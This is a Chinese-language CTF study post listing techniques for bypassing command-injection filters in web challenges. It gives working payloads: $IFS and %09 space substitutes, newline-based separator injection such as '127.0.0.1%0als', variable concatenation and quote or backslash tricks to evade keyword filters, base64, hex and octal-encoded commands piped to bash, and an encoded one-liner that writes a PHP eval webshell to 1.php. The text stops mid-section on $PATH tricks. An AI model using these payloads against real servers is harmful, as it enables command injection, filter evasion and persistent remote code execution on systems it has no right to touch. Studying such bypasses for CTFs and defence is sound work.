前言:
做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来。
0x00:一些绕过姿势
在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:
空格
命令分隔符
关键字
限制长度
限制回显
等等,这次就通过题目将这些如何绕过的知识给记录下来。
空格绕过
常见的绕过符号有:
$IFS$9 、${
IFS} 、%09(php环境下)、 重定向符<>、
#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用
测试一下:
命令分隔
%0a --换行符,需要php环境
%0d --回车符,需要php环境
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
例如ctfhub这道题就过滤了命令分割符,用%0a便可以分隔命令进行查看
127.0.0.1%0als
关键词过滤
假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做
拼接绕过
#执行ls命令:
a=l;b=s;$a$b
#cat flag文件内容:
a=c;b=at;c=f;d=lag;$a$b ${
c}${
d}
#cat test文件内容
a="ccaatt";b=${
a:0:1}${
a:2:1}${
a:4:1};$b test
编码绕过
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{
printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为php @eval($_POST['c']);?>
${
printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
单引号和双引号绕过
c'a't test
c"a"t test
反斜杠绕过
ca\t test
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin